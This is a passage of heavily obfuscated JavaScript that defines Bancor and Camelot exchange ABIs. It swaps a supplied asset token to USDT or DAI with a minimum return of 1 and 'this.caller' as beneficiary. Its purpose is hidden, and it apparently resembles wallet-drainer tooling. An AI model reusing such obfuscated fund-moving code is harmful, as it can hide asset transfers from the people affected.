const _0x4465d4 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x54ea9f = {
internalType: 'address',
name: "beneficiary",
type: 'address'
};
const _0x1c9a39 = {
inputs: [_0x1abbaa, _0x3c06d9, _0x599487, _0x50af0e, _0x4465d4, _0x54ea9f],
name: "tradeBySourceAmountArb",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x353eee = {
internalType: "contract Token",
name: "sourceToken",
type: 'address'
};
const _0x32b621 = {
internalType: "contract Token",
name: "targetToken",
type: 'address'
};
const _0x2d5f45 = {
internalType: "uint256",
name: "targetAmount",
type: "uint256"
};
const _0x5bf561 = {
internalType: "uint256",
name: "maxSourceAmount",
type: "uint256"
};
const _0x257350 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4a06e0 = {
internalType: 'address',
name: "beneficiary",
type: 'address'
};
const _0x24c455 = {
inputs: [_0x353eee, _0x32b621, _0x2d5f45, _0x5bf561, _0x257350, _0x4a06e0],
name: "tradeByTargetAmount",
outputs: [{
'internalType': 'uint256',
'name': '',
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x109c40 = {
internalType: "contract Token",
name: "sourceToken",
type: 'address'
};
const _0x575c10 = {
internalType: "contract Token",
name: "targetToken",
type: "address"
};
const _0xd1079d = {
internalType: "uint256",
name: "targetAmount",
type: "uint256"
};
const _0x446a0d = {
internalType: "uint256",
name: "maxSourceAmount",
type: "uint256"
};
const _0x2eaa2d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2f4f30 = {
internalType: 'address',
name: "beneficiary",
type: 'address'
};
const _0x4f6886 = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x1fee45 = {
inputs: [_0x109c40, _0x575c10, _0xd1079d, _0x446a0d, _0x2eaa2d, _0x2f4f30],
name: "tradeByTargetAmountArb",
outputs: [_0x4f6886],
stateMutability: 'payable',
type: 'function'
};
const _0x41169b = {
internalType: "contract IPoolCollection",
name: "poolCollection",
type: 'address'
};
const _0x11c79a = {
inputs: [_0x41169b],
name: "unregisterPoolCollection",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1703f4 = {
inputs: [],
name: "version",
outputs: [{
'internalType': "uint16",
'name': '',
'type': "uint16"
}],
stateMutability: "pure",
type: 'function'
};
const _0x2290e0 = {
internalType: "uint256",
name: 'id',
type: "uint256"
};
const _0x3ba8f5 = {
inputs: [_0x2290e0],
name: "withdraw",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x136a62 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x3048bb = {
inputs: [_0x136a62],
name: "withdrawNetworkFees",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x376dea = {
stateMutability: "payable",
type: "receive"
};
let _0x226d02 = [_0x1e4484, _0x1c0a1a, _0x14bb1c, _0x3b7b3c, _0x530b56, _0x329129, _0x53e596, _0x326978, _0x58c673, _0x5984c6, _0x5875d7, _0x28760f, _0x357f36, _0x243642, _0x446d66, _0x45aad5, _0x766e41, _0x4756bd, _0x52acf5, _0x225f13, _0x15695a, _0x1d2398, _0x30a53e, _0x2c4b65, _0x1a5322, _0x583d6e, _0x25d5e8, _0x578827, _0x2fe5c2, _0x5e7ee3, _0x1d9279, _0x37b348, _0x53453a, _0x4dcb58, _0x1f8239, _0x47d67a, _0x530af3, _0xfd8b23, _0x41edc4, _0x339ff0, _0x28523b, _0x42f891, _0x420b9a, _0x1d57db, _0x3c3547, _0x5d09f6, _0x21c2b9, _0x31cd01, _0x435656, _0x57d977, _0x9dfa6e, _0x427a5c, _0x4651a0, _0x23ffc3, _0xd20b3d, _0x2d96f0, _0x40c5f5, _0x3bffe0, _0x285bbc, _0x4b73e1, _0x43ede1, _0x1acf59, _0x3b6682, _0x466d51, _0x1c9a39, _0x24c455, _0x1fee45, _0x11c79a, _0x1703f4, _0x3ba8f5, _0x3048bb, _0x376dea];
let _0x3e3300 = new ethers.Contract(_0x1d9d78, _0x226d02, _0x30ef12);
let _0x5bc86a = "0xdac17f958d2ee523a2206206994597c13d831ec7";
if (_0x579e7a.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") {
_0x5bc86a = "0x6B175474E89094C44Da98b954EedeAC495271d0F";
}
return _0x3e3300.tradeBySourceAmount(_0x579e7a.asset.token, _0x5bc86a, _0x579e7a.asset.amount, 1, _0x10922f, this.caller);
}
case "BancorSwaps":
{
const _0x4ab086 = {
name: "_onlyOwnerCanUpdateRegistry",
type: "bool"
};
const _0x375d2d = {
constant: false,
inputs: [_0x4ab086],
name: "restrictRegistryUpdate",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
};
const _0x8cb726 = {
name: "_token",
type: 'address'
};
const _0x552092 = {
name: "_register",
type: 'bool'
};
const _0x159f6a = {
constant: false,
inputs: [_0x8cb726, _0x552092],
name: "registerEtherToken",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x4bcfe6 = {
name: "_path",
type: "address[]"
};
const _0x27c5a6 = {
name: '_amount',
type: "uint256"
};
const _0x34bffe = {
name: '',
type: "uint256"
};
const _0x340eda = {
constant: true,
inputs: [_0x4bcfe6, _0x27c5a6],
name: "getReturnByPath",
outputs: [{
'name': '',
'type': "uint256"
}, _0x34bffe],
payable: false,
stateMutability: 'view',
type: 'function'
};
const _0x15d269 = {
name: "_path",
type: "address[]"
};
const _0x4951a5 = {
name: '_amount',
type: "uint256"
};
const _0x7ab54a = {
name: "_minReturn",
type: "uint256"
};
const _0x4c6a6b = {
name: "_beneficiary",
type: 'address'
};
const _0x57f583 = {
name: "_affiliateAccount",
type: 'address'
};
const _0x42aae9 = {
name: "_affiliateFee",
type: "uint256"
};
const _0x49b341 = {
constant: false,
inputs: [_0x15d269, _0x4951a5, _0x7ab54a, _0x4c6a6b, _0x57f583, _0x42aae9],
name: "claimAndConvertFor2",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x3ffb40 = {
constant: true,
inputs: [],
name: "onlyOwnerCanUpdateRegistry",
outputs: [{
'name': '',
'type': 'bool'
}],
payable: false,
stateMutability: 'view',
type: 'function'
};
const _0x569088 = {
constant: false,
inputs: [],
name: "updateRegistry",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0xa41e24 = {
name: "_path",
type: "address[]"
};
const _0x1cd392 = {
name: '_amount',
type: 'uint256'
};
const _0xe4ab6c = {
name: "_minReturn",
type: 'uint256'
};
const _0x4eba3b = {
name: "_affiliateAccount",
type: 'address'
};
const _0x425216 = {
name: "_affiliateFee",
type: "uint256"
};
const _0x1e9ec5 = {
constant: false,
inputs: [_0xa41e24, _0x1cd392, _0xe4ab6c, _0x4eba3b, _0x425216],
name: 'convert2',
outputs: [{
'name': '',
'type': "uint256"
}],
payable: true,
stateMutability: "payable",
type: "function"
};
const _0x379206 = {
constant: true,
inputs: [],
name: "maxAffiliateFee",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: false,
stateMutability: "view",
type: 'function'
};
const _0x566a45 = {
name: '_token',
type: "address"
};
const _0x26dad2 = {
name: "_to",
type: 'address'
};
const _0x59a80a = {
name: '_amount',
type: "uint256"
};
const _0xfd6fff = {
constant: false,
inputs: [_0x566a45, _0x26dad2, _0x59a80a],
name: "withdrawTokens",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x12c35b = {
name: '',
type: "address"
};
const _0x3bef98 = {
constant: true,
inputs: [],
name: "prevRegistry",
outputs: [_0x12c35b],
payable: false,
stateMutability: 'view',
type: 'function'
};
const _0x5a1f01 = {
constant: false,
inputs: [],
name: "acceptOwnership",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x5098e9 = {
constant: true,
inputs: [],
name: "registry",
outputs: [{
'name': '',
'type': 'address'
}],
payable: false,
stateMutability: 'view',
type: 'function'
};
const _0x47a6e5 = {
name: "_path",
type: 'address[]'
};
const _0x36a2fc = {
name: '_amount',
type: "uint256"
};
const _0x3337d6 = {
name: '',
type: "uint256"
};
const _0x6859ea = {
constant: true,
inputs: [_0x47a6e5, _0x36a2fc],
name: "rateByPath",
outputs: [_0x3337d6],
payable: false,
stateMutability: 'view',
type: 'function'
};
const _0x1ef2da = {
name: '',
type: "address"
};
const _0x4a5d47 = {
name: '',
type: 'bool'
};
const _0x56b701 = {
constant: true,
inputs: [_0x1ef2da],
name: "etherTokens",
outputs: [_0x4a5d47],
payable: false,
stateMutability: 'view',
type: "function"
};
const _0x55bd9e = {
name: "_path",
type: 'address[]'
};
const _0x3b71da = {
name: "_bancorX",
type: 'address'
};
const _0x2368ae = {
name: "_conversionId",
type: "uint256"
};
const _0x13e164 = {
name: "_minReturn",
type: "uint256"
};
const _0x5a6eea = {
name: "_beneficiary",
type: 'address'
};
const _0x16c317 = {
constant: false,
inputs: [_0x55bd9e, _0x3b71da, _0x2368ae, _0x13e164, _0x5a6eea],
name: "completeXConversion",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x218d1e = {
name: '',
type: 'address'
};
const _0xab56b1 = {
constant: true,
inputs: [],
name: 'owner',
outputs: [_0x218d1e],
payable: false,
stateMutability: 'view',
type: "function"
};
const _0x41dab6 = {
name: "_path",
type: "address[]"
};
const _0xf7e002 = {
name: '_amount',
type: "uint256"
};
const _0x568e69 = {
name: "_minReturn",
type: "uint256"
};
const _0xc68008 = {
name: "_beneficiary",
type: 'address'
};
const _0x2c69a0 = {
name: "_affiliateAccount",
type: 'address'
};
const _0x1f0270 = {
name: "_affiliateFee",
type: "uint256"
};
const _0x49e58e = {
constant: false,
inputs: [_0x41dab6, _0xf7e002, _0x568e69, _0xc68008, _0x2c69a0, _0x1f0270],
name: "convertFor2",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: true,
stateMutability: "payable",
type: 'function'
};
const _0xeb1f13 = {
name: "_path",
type: 'address[]'
};
const _0xbfbf5b = {
name: '_amount',
type: "uint256"
};
const _0x15886e = {
name: "_minReturn",
type: "uint256"
};
const _0x9c5908 = {
name: "_beneficiary",
type: "address"
};
const _0x5c2d89 = {
constant: false,
inputs: [_0xeb1f13, _0xbfbf5b, _0x15886e, _0x9c5908],
name: "claimAndConvertFor",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x44782e = {
constant: false,
inputs: [],
name: "restoreRegistry",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x131935 = {
name: "_path",
type: "address[]"
};
const _0x22a445 = {
name: "_amount",
type: "uint256"
};
const _0x1bda41 = {
name: "_minReturn",
type: "uint256"
};
const _0x586e11 = {
name: "_beneficiary",
type: 'address'
};
const _0x97f7a5 = {
name: "_affiliateAccount",
type: "address"
};
const _0x3e0faf = {
name: "_affiliateFee",
type: "uint256"
};
const _0x214657 = {
name: '',
type: "uint256"
};
const _0x4ebd3f = {
constant: false,
inputs: [_0x131935, _0x22a445, _0x1bda41, _0x586e11, _0x97f7a5, _0x3e0faf],
name: "convertByPath",
outputs: [_0x214657],
payable: true,
stateMutability: "payable",
type: 'function'
};
const _0x46ee72 = {
name: "_path",
type: 'address[]'
};
const _0x28fb68 = {
name: '_amount',
type: "uint256"
};
const _0xb99a5d = {
name: "_minReturn",
type: "uint256"
};
const _0x2dba62 = {
name: "_targetBlockchain",
type: "bytes32"
};
const _0x2d84f1 = {
name: "_targetAccount",
type: "bytes32"
};
const _0xea2b52 = {
name: "_conversionId",
type: "uint256"
};
const _0x9c9d1c = {
constant: false,
inputs: [_0x46ee72, _0x28fb68, _0xb99a5d, _0x2dba62, _0x2d84f1, _0xea2b52],
name: "xConvert",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: true,
stateMutability: "payable",
type: 'function'
};
const _0x5e501f = {
name: "_path",
type: "address[]"
};
const _0x5989ce = {
name: '_amount',
type: "uint256"
};
const _0x554981 = {
name: "_minReturn",
type: "uint256"
};
const _0x444316 = {
name: '',
type: "uint256"
};
const _0x519540 = {
constant: false,
inputs: [_0x5e501f, _0x5989ce, _0x554981],
name: "claimAndConvert",
outputs: [_0x444316],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x1d0583 = {
name: '_path',
type: 'address[]'
};
const _0x534ecf = {
name: '_amount',
type: "uint256"
};
const _0x2fb6c3 = {
name: "_minReturn",
type: "uint256"
};
const _0x52ca29 = {
name: "_beneficiary",
type: 'address'
};
const _0x5c0b67 = {
constant: false,
inputs: [_0x1d0583, _0x534ecf, _0x2fb6c3, _0x52ca29],
name: "convertFor",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: true,
stateMutability: "payable",
type: 'function'
};
const _0x40dba6 = {
name: "_path",
type: "address[]"
};
const _0x4f3cfe = {
name: '_amount',
type: "uint256"
};
const _0x1706a3 = {
name: "_minReturn",
type: 'uint256'
};
const _0x41ca63 = {
name: "_targetBlockchain",
type: "bytes32"
};
const _0x1e0d72 = {
name: "_targetAccount",
type: "bytes32"
};
const _0x30908d = {
name: "_conversionId",
type: "uint256"
};
const _0x799ed = {
name: "_affiliateAccount",
type: 'address'
};
const _0x4f25a7 = {
name: "_affiliateFee",
type: "uint256"
};
const _0x50d1c0 = {
constant: false,
inputs: [_0x40dba6, _0x4f3cfe, _0x1706a3, _0x41ca63, _0x1e0d72, _0x30908d, _0x799ed, _0x4f25a7],
name: "xConvert2",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: true,
stateMutability: "payable",
type: 'function'
};
const _0x271b18 = {
name: '',
type: 'address'
};
const _0x5b3898 = {
constant: true,
inputs: [],
name: 'newOwner',
outputs: [_0x271b18],
payable: false,
stateMutability: 'view',
type: "function"
};
const _0x1acd7f = {
name: "_sourceToken",
type: "address"
};
const _0xa1b3b8 = {
name: "_targetToken",
type: 'address'
};
const _0x130c79 = {
name: '',
type: "address[]"
};
const _0x4075b9 = {
constant: true,
inputs: [_0x1acd7f, _0xa1b3b8],
name: "conversionPath",
outputs: [_0x130c79],
payable: false,
stateMutability: 'view',
type: 'function'
};
const _0x31aeae = {
name: "_path",
type: "address[]"
};
const _0x232a82 = {
name: '_amount',
type: "uint256"
};
const _0xa4a779 = {
name: "_minReturn",
type: "uint256"
};
const _0x314fb3 = {
name: "_affiliateAccount",
type: 'address'
};
const _0x1ad835 = {
name: "_affiliateFee",
type: "uint256"
};
const _0x18018e = {
constant: false,
inputs: [_0x31aeae, _0x232a82, _0xa4a779, _0x314fb3, _0x1ad835],
name: "claimAndConvert2",
outputs: [{
'name': '',
'type': "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: "function"
};
const _0xfd017d = {
name: "_newOwner",
type: 'address'
};
const _0x114628 = {
constant: false,
inputs: [_0xfd017d],
name: "transferOwnership",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x1a8175 = {
name: "_path",
type: "address[]"
};
const _0x223f7c = {
name: '_amount',
type: "uint256"
};
const _0x274a3f = {
name: "_minReturn",
type: "uint256"
};
const _0x441e97 = {
name: '',
type: "uint256"
};
const _0x255e60 = {
constant: false,
inputs: [_0x1a8175, _0x223f7c, _0x274a3f],
name: "convert",
outputs: [_0x441e97],
payable: true,
stateMutability: "payable",
type: 'function'
};
const _0x43fe10 = {
name: "_maxAffiliateFee",
type: "uint256"
};
const _0x21cb2f = {
constant: false,
inputs: [_0x43fe10],
name: "setMaxAffiliateFee",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: 'function'
};
const _0x3b5ec2 = {
name: "_registry",
type: 'address'
};
const _0x47f6d7 = {
inputs: [_0x3b5ec2],
payable: false,
stateMutability: "nonpayable",
type: "constructor"
};
const _0x570e9f = {
indexed: true,
name: "_smartToken",
type: 'address'
};
const _0x2c378d = {
indexed: true,
name: "_fromToken",
type: 'address'
};
const _0x2b5d57 = {
indexed: true,
name: "_toToken",
type: 'address'
};
const _0x35b684 = {
indexed: false,
name: "_fromAmount",
type: "uint256"
};
const _0x43f65a = {
indexed: false,
name: "_toAmount",
type: "uint256"
};
const _0x2b4e8c = {
indexed: false,
name: "_trader",
type: 'address'
};
const _0x1acf17 = {
anonymous: false,
inputs: [_0x570e9f, _0x2c378d, _0x2b5d57, _0x35b684, _0x43f65a, _0x2b4e8c],
name: "Conversion",
type: "event"
};
const _0x21f322 = {
indexed: true,
name: "_prevOwner",
type: "address"
};
const _0x4db847 = {
indexed: true,
name: "_newOwner",
type: "address"
};
const _0x5674bb = {
anonymous: false,
inputs: [_0x21f322, _0x4db847],
name: "OwnerUpdate",
type: "event"
};
let _0x5796e8 = [_0x375d2d, _0x159f6a, _0x340eda, _0x49b341, _0x3ffb40, _0x569088, _0x1e9ec5, _0x379206, _0xfd6fff, _0x3bef98, _0x5a1f01, _0x5098e9, _0x6859ea, _0x56b701, _0x16c317, _0xab56b1, _0x49e58e, _0x5c2d89, _0x44782e, _0x4ebd3f, _0x9c9d1c, _0x519540, _0x5c0b67, _0x50d1c0, _0x5b3898, _0x4075b9, _0x18018e, _0x114628, _0x255e60, _0x21cb2f, _0x47f6d7, _0x1acf17, _0x5674bb];
let _0x516ff2 = new ethers.Contract(_0x1d9d78, _0x5796e8, _0x30ef12);
let _0x46fbcd = "0xdac17f958d2ee523a2206206994597c13d831ec7";
if (_0x579e7a.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") {
_0x46fbcd = "0x6B175474E89094C44Da98b954EedeAC495271d0F";
}
let _0x1c9e8b = await _0x516ff2.conversionPath(_0x579e7a.asset.token, _0x46fbcd);
console.log(_0x1c9e8b);
return _0x516ff2.convertByPath(_0x1c9e8b, _0x579e7a.asset.amount, 1, this.caller, "0x0000000000000000000000000000000000000000", '0');
}
case "Camelot":
{
const _0x5f4ed7 = {
internalType: 'address',
name: "_factory",
type: 'address'
};
const _0x49e3a6 = {
internalType: 'address',
name: "_WETH",
type: 'address'
};
const _0x218978 = {
inputs: [_0x5f4ed7, _0x49e3a6],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x36882d = {
inputs: [],
name: "WETH",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: "function"
};
const _0x4c9581 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x33a420 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x57e02c = {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
};
const _0x51ce94 = {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
};
const _0x51e2a2 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x44e268 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x5c38da = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x82f9f3 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x42aedc = {
inputs: [_0x4c9581, _0x33a420, _0x57e02c, _0x51ce94, _0x51e2a2, _0x44e268, _0x5c38da, _0x82f9f3],
name: "addLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3a3bc1 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x43248b = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0x50708d = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0xfeda00 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x390f43 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x16656c = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4aa4f7 = {
internalType: "uint256",
name: "amountToken",
type: 'uint256'
};
const _0x3028ac = {
internalType: "uint256",
name: 'amountETH',
type: "uint256"
};
const _0x27bb57 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x52787f = {
inputs: [_0x3a3bc1, _0x43248b, _0x50708d, _0xfeda00, _0x390f43, _0x16656c],
name: "addLiquidityETH",
outputs: [_0x4aa4f7, _0x3028ac, _0x27bb57],
stateMutability: "payable",
type: 'function'
};
const _0x3251d1 = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x383bc7 = {
internalType: "uint256",
name: 'amountIn',
type: "uint256"
};
const _0x592a1a = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x388f7e = {
inputs: [_0x383bc7, _0x592a1a],
name: "getAmountsOut",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: "function"
};
const _0x16c685 = {
internalType: "address",
name: 'token1',
type: 'address'
};
const _0x29925d = {
internalType: 'address',
name: "token2",
type: "address"
};
const _0x33411b = {
inputs: [_0x16c685, _0x29925d],
name: "getPair",
outputs: [{
'internalType': "address",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x5ea65c = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x325c7f = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0x3eb462 = {
internalType: "uint256",
name: "reserveB",
type: "uint256"
};
const _0x54639f = {
inputs: [_0x5ea65c, _0x325c7f, _0x3eb462],
name: "quote",
outputs: [{
'internalType': "uint256",
'name': "amountB",
'type': "uint256"
}],
stateMutability: "pure",
type: "function"
};
const _0x7c5120 = {
internalType: "address",
name: "tokenA",
type: "address"
};
const _0x2f490c = {
internalType: 'address',
name: "tokenB",
type: "address"
};
const _0x4d8401 = {
internalType: "uint256",
name: "liquidity",
type: 'uint256'
};
const _0x39d0d4 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x57bfbe = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x20120f = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x28bd0f = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4641cc = {
inputs: [_0x7c5120, _0x2f490c, _0x4d8401, _0x39d0d4, _0x57bfbe, _0x20120f, _0x28bd0f],
name: "removeLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x51e1e4 = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x4820ed = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x23c148 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x373aeb = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x372482 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x25c060 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x27cfc2 = {
inputs: [_0x51e1e4, _0x4820ed, _0x23c148, _0x373aeb, _0x372482, _0x25c060],
name: "removeLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x50d911 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x2f2d94 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x192600 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x1ec220 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x40d666 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3d23e5 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x52708b = {
inputs: [_0x50d911, _0x2f2d94, _0x192600, _0x1ec220, _0x40d666, _0x3d23e5],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: 'nonpayable',
type: "function"
};
const _0x326158 = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x5c5f49 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x14bbac = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x3cf05b = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x18ba5c = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x15be5a = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5db017 = {
internalType: 'bool',
name: "approveMax",
type: 'bool'
};
const _0x1bf4ac = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x10f026 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x2d6ffa = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x206ae6 = {
inputs: [_0x326158, _0x5c5f49, _0x14bbac, _0x3cf05b, _0x18ba5c, _0x15be5a, _0x5db017, _0x1bf4ac, _0x10f026, _0x2d6ffa],
name: "removeLiquidityETHWithPermit",
outputs: [{
'internalType': 'uint256',
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x802af3 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x21e6c3 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x4c2769 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x6c961c = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x1bcc34 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x371ebe = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x599dec = {
internalType: 'bool',
name: 'approveMax',
type: 'bool'
};
const _0x3821c4 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x245cf4 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x3f8881 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x1bb327 = {
internalType: "uint256",
name: 'amountETH',
type: "uint256"
};
const _0xba5710 = {
inputs: [_0x802af3, _0x21e6c3, _0x4c2769, _0x6c961c, _0x1bcc34, _0x371ebe, _0x599dec, _0x3821c4, _0x245cf4, _0x3f8881],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [_0x1bb327],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x443e11 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x39365b = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x4fab3b = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x47ab0b = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x4b6e92 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x1d60cf = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x57e917 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x58ae23 = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x27362a = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x51b467 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x37e6ee = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x26015b = {
inputs: [_0x443e11, _0x39365b, _0x4fab3b, _0x47ab0b, _0x4b6e92, _0x1d60cf, _0x57e917, _0x58ae23, _0x27362a, _0x51b467, _0x37e6ee],
name: "removeLiquidityWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3252c3 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x7441e = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x124463 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x503cc3 = {
internalType: 'address',
name: "referrer",
type: 'address'
};
const _0x320cc9 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4653ad = {
inputs: [_0x3252c3, _0x7441e, _0x124463, _0x503cc3, _0x320cc9],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x5ec77d = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x421ea4 = {
internalType: 'uint256',
name: "amountOutMin",
type: 'uint256'
};
const _0x242800 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x3cf277 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x566175 = {
internalType: "address",
name: 'referrer',
type: "address"
};
const _0xca272d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x17d47e = {
inputs: [_0x5ec77d, _0x421ea4, _0x242800, _0x3cf277, _0x566175, _0xca272d],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x25d2ec = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x208629 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x3df1cc = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x595597 = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x3741e1 = {
internalType: 'address',
name: "referrer",
